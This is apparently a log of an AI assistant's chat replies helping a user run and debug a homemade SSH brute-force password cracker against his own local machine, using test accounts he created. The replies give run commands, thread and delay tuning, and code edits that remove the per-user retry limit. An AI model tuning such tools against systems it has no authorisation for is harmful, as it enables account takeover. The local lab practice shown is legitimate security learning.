✅ You can now SSH into your system again (e.g., ssh testuser@localhost) and continue testing your SSH Cracker project.

Let me know if you want to:

• Re-enable auto-start on boot

• Check SSH logs

• Test again using your script

Sure thing, Shiva! ⚡ Here's the exact command to run your basic SSH brute force script (ssh_brute.py) from the terminal:

✅ Prerequisites Checklist:

• Your script is located in: D:\project\ssh_brute.py

• You have a password list file: D:\project\passlist.txt

• You know a valid username on your system (e.g., testuser)

• The SSH server is running (sshd)

✅ Run This Command from PowerShell or CMD:

bash
CopyEdit
python D:\project\ssh_brute.py 127.0.0.1 -u testuser -P passlist.txt

🔄 Replace testuser with your actual SSH username
✅ Make sure you're inside D:\project directory when running this

Example (if you’re already in the project folder):

bash
CopyEdit
cd /d D:\project
python ssh_brute.py 127.0.0.1 -u testuser -P passlist.txt

📝 Output:

• Valid login will show:

  pgsql
  CopyEdit
  [+] Found: testuser@127.0.0.1 with password: password123
  

• Saved to credentials.txt

Let me know if you want to re-test or jump back to the advanced script. You're running it like a pro now 🔥

Ahh got it, bro! 😄 You meant you're referring to the basic script ssh_brute.py by its short name — all good.

So here's your final confirmed command to run it:

✅ Basic SSH Cracker (ssh_brute.py) Run Command

From inside your D:\project folder, run:

bash
CopyEdit
python ssh_brute.py 127.0.0.1 -u testuser -P passlist.txt

🔄 Replace:

• testuser → with the actual username (like testuser, admin, etc.)

• passlist.txt → make sure this file contains passwords to test

📝 What Will Happen

• It tries to SSH into 127.0.0.1 using each password from the list

• Shows output like:

  yaml
  CopyEdit
  [-] Invalid credentials: testuser:1234
  [+] Found: testuser@127.0.0.1 with password: password123
  

• Successful result saved to credentials.txt

✅ All good now. Let me know if:

• You want to demo it with a different target

• Or move on to documentation for GitHub or LinkedIn 🔥

Haha all good, bro! 😄 You're talking about the advanced version — advance_ssh_brute.py 💥

Let’s get you running it properly:

✅ To Run Your Advanced SSH Cracker

Assuming you're in your D:\project folder and using:

• userlist.txt for usernames

• passlist.txt for passwords

• You want to use 4 threads

• Output goes to results.txt

🔷 Here's the Command:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4 --delay 0.5 --max-user-retries 6 --output results.txt

📌 Breakdown of Flags:

✅ Example Directory Layout:

makefile
CopyEdit
D:\project\
│
├── advance_ssh_brute.py
├── userlist.txt          # Contains usernames like: testuser
├── passlist.txt          # Contains passwords like: password123
├── results.txt           # (Will be created if creds found)

📝 Output You'll See:

• Colored success/failure messages

• Brute force summary at the end:

  less
  CopyEdit
  [+] Brute force complete.
  [+] Total attempts: 29
  [+] Time taken: 0.65 seconds
  [+] Valid credentials saved to: results.txt
  

Let me know once you run it — or if you'd like to start building your README.md or preparing for GitHub 🚀

Awesome, Shiva! 🙌 Since your advanced SSH Cracker is working perfectly, let me break down the command for you in a clear and beginner-friendly way:

🧾 Full Command You Ran:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4 --delay 0.5 --max-user-retries 6 --output results.txt

🔍 Explanation (Flag-by-Flag)

✅ User & Password Input

🔄 So your script tries every combination like:

makefile
CopyEdit
testuser:1234
testuser:password
admin:1234
admin:password
... etc.

✅ Multithreading

💡 This helps you try combinations faster than doing it one by one.

💤 Delay & Retry Settings

🚫 This helps avoid overwhelming the SSH server or getting kicked off.

💾 Output

📝 Example saved output:

ruby
CopyEdit
testuser@127.0.0.1:password123

🔚 Summary

This command runs your advanced SSH Cracker tool to:

• Use usernames and passwords from text files

• Try each combo in parallel threads

• Handle timeouts, delays, and retries gracefully

• Log valid credentials to a custom output file

You're now using this tool like a real ethical hacker / red teamer! 😎
Want to now:

• 💬 Create a README.md for GitHub?

• ✨ Write a LinkedIn post?

• 📊 Add more features?

Just say the word 🔥

Nice move, Shiva! 👨‍💻 Let's add a new user to your Windows system so you can test your SSH Cracker with a fresh set of credentials:

✅ Step-by-Step: Add hapihacker User with Password naninani123

📍 Step 1: Open PowerShell as Administrator

Search "PowerShell" → Right-click → Run as Administrator

📍 Step 2: Run This Command to Create the User

powershell
CopyEdit
net user hapihacker naninani123 /add

✅ This will create a user:

• Username: hapihacker

• Password: naninani123

📍 Step 3: Add the User to the "Remote Desktop Users" Group (optional but helpful)

powershell
CopyEdit
net localgroup "Remote Desktop Users" hapihacker /add

👉 This ensures the user has basic remote access permissions (not mandatory, but good practice for SSH testing).

📍 Step 4: Test SSH Login Manually

To ensure it's working:

bash
CopyEdit
ssh hapihacker@localhost

• Enter password: naninani123

• ✅ If it logs you into a Windows shell → SSH access is working for that user!

🧪 Now You Can Test with Your SSH Cracker

1. Add hapihacker to your userlist.txt:

nginx
CopyEdit
admin
testuser
hapihacker

2. Add naninani123 to your passlist.txt:

yaml
CopyEdit
admin
1234
naninani123

3. Run the Cracker:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4 --output results.txt

✅ It should find:

ruby
CopyEdit
[+] Found: hapihacker@127.0.0.1:naninani123

Let me know if you want to assign admin rights to hapihacker or restrict its permissions for testing purposes 🔐

Great observation, Shiva! You're absolutely right to question that. If you're not setting --max-user-retries, it shouldn't limit the number of attempts — but you’re only seeing 24 attempts run.

Let’s walk through why that's happening and how to fix or verify it.

🔍 What Might Be Happening:

✅ 1. Default Retry Limit Is Still Active (in Code)

Even if you don’t provide --max-user-retries on the command line, the script still has this default value set in the parser:

python
CopyEdit
parser.add_argument("--max-user-retries", type=int, default=3, help="Max invalid attempts per user")

So when you omit --max-user-retries, it still uses the default value: 3 retries per user!

That explains why you're only seeing a limited number of attempts.

🛠️ Solution #1: Explicitly Set the Limit You Want

If you want to try all password combinations, just pass a very high limit:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4 --max-user-retries 999 --output results.txt

This ensures each user is tested with up to 999 passwords before being skipped.

🛠️ Solution #2: Modify the Script (If You Want No Limit at All)

If you prefer to remove the limit logic entirely, edit your advance_ssh_brute.py file:

📍 In the worker() function, find this line:

python
CopyEdit
if max_user_retries.get(user, 0) >= args.max_user_retries:

And comment it out or delete the entire block that skips the user.

python
CopyEdit
# if max_user_retries.get(user, 0) >= args.max_user_retries:
#     print(f"{Fore.BLUE}[!] Skipping {user} (max retry limit reached)")
#     q.task_done()
#     continue

⚠️ Now every user will be tested with all passwords, no matter how many failures happen.

✅ Quick Test

You can verify by:

1. Checking how many usernames × passwords exist:

   • 3 users × 10 passwords = 30 combinations

2. Running:

   bash
   CopyEdit
   python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4 --max-user-retries 100 --output results.txt
   

3. Confirming in the output:

   css
   CopyEdit
   [+] Total attempts: 30
   

Let me know which solution you'd like to go with:

• 📌 Set a high --max-user-retries

• ✂️ Remove the retry limit from the code entirely

Either way, we’ll get it behaving exactly how you want 💯

Perfect, Shiva! Let's break this down clearly so you know exactly how many attempts should happen and why your script might be stopping early.

🔢 Expected Number of Attempts

You said:

• 4 usernames

• 13 passwords

✅ So total expected brute-force attempts:

bash
CopyEdit
4 × 13 = 52 combinations

🧪 But You Only Saw 24 Attempts

That likely means:

• Each user is only being tried 6 times (default limit)

• After 6 invalid tries → script skips that user

python
CopyEdit
6 × 4 users = 24 attempts

💡 This matches your output.

✅ Fix: Force Full 52 Attempts

Run the script with a higher retry limit:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 4 --max-user-retries 13 --output results.txt

🔁 Now each of the 4 users will be allowed up to 13 tries, so you get:

CopyEdit
4 × 13 = 52 attempts ✅

💬 Want Unlimited Tries (No Limit at All)?

If yes, do this:

1. Open advance_ssh_brute.py

2. Find this part inside the worker() function:

python
CopyEdit
if max_user_retries.get(user, 0) >= args.max_user_retries:
    print(f"{Fore.BLUE}[!] Skipping {user} (max retry limit reached)")
    q.task_done()
    continue

3. Remove or comment it:

python
CopyEdit
# if max_user_retries.get(user, 0) >= args.max_user_retries:
#     print(f"{Fore.BLUE}[!] Skipping {user} (max retry limit reached)")
#     q.task_done()
#     continue

Now there’s no retry limit at all, and your script will test all 52 combos by default.

Let me know if you want to:

• Try full 52 attempts with --max-user-retries 13

• Remove the limit completely for good

• Add live progress tracking (tqdm bar) too 😎

Yes, exactly right, Shiva! ✅

Your script sets the default limit to 6 failed attempts per user if you don’t manually specify the --max-user-retries flag.

🔍 Where It's Set

In your advance_ssh_brute.py, this line defines the default:

python
CopyEdit
parser.add_argument("--max-user-retries", type=int, default=6, help="Max invalid attempts per user")

So, unless you override it with something like:

bash
CopyEdit
--max-user-retries 13

…it will default to 6.

🧪 Your Scenario:

You had:

• 4 users

• 13 passwords

• But only saw 24 attempts

Why?

python
CopyEdit
4 users × 6 retries = 24 attempts

✅ That proves the default limit of 6 was applied.

✅ Final Tip: To Always Try All Combos

Run with:

bash
CopyEdit
--max-user-retries 13

Or just crank it up if your list grows:

bash
CopyEdit
--max-user-retries 999

Let me know if you’d like to make it:

• Unlimited by default

• A GUI toggle

• Or displayed in the summary output (e.g., “Users skipped due to retry limit”) 💡

Got it, buddy! 😎 You're making great progress, and I can clearly see what's going on in your output.

Let me break it down and help you solve the small hiccup you ran into 👇

🔍 What You Noticed (The Problem)

• ✅ It found the correct credentials for testuser@127.0.0.1:password123

• ❌ But it printed that line twice:

  ruby
  CopyEdit
  [+] Found: testuser@127.0.0.1:password123
  [+] Found: testuser@127.0.0.1:password123
  

• ❌ Also, even after success, other passwords were still tested

• ❌ It did not stop when a correct match was found

• ❌ Plus: You got [WinError 10054] errors during brute-force for hapihacker

🎯 Goal

Let’s make your cracker smarter by:

1. ✅ Stopping all threads after a successful match (like a real brute-forcer).

2. ✅ Avoiding duplicate "found" messages

3. ✅ Minimizing [WinError 10054] errors (from overloading SSH server)

✅ FIX 1: Add a Global Stop Flag (found_event)

📍 In your code (top), add:

python
CopyEdit
found_event = threading.Event()

📍 In is_ssh_open() function, change:

BEFORE:

python
CopyEdit
if is_ssh_open(...):
    with open(...) ...

AFTER:

python
CopyEdit
if found_event.is_set():
    q.task_done()
    return

if is_ssh_open(...):
    found_event.set()  # Stop all other threads
    with lock:
        with open(args.output, "a") as f:
            f.write(f"{user}@{args.host}:{password}\n")

📍 And right before q.join(), insert this check:

python
CopyEdit
if found_event.is_set():
    print(f"{Fore.GREEN}[+] Cracking stopped: valid credentials found.")

✅ FIX 2: Avoid Double Logging

If multiple threads find the same valid credentials (very rare, but possible with race conditions), this found_event will prevent that.

✅ FIX 3: Avoid [WinError 10054] (Too Many Threads = Overload)

You’re getting this because:

• Windows SSH server doesn’t like too many rapid connections

• You’re hitting it with 4 threads + 50 attempts

🔧 Solutions:

• Reduce threads temporarily:

bash
CopyEdit
--threads 2

• Increase --delay to slow it down:

bash
CopyEdit
--delay 1

Or combine both:

bash
CopyEdit
python advance_ssh_brute.py 127.0.0.1 -U userlist.txt -P passlist.txt --threads 2 --delay 1 --max-user-retries 13

✅ Optional: Log only first success, then auto-exit

Already handled via found_event.set() — so no extra work needed 🎉

📝 Summary of Fixes:

Let me know if you'd like me to send you the final cleaned-up script with all these fixes applied ✅
You're just 1 step away from a pro-level tool 🔥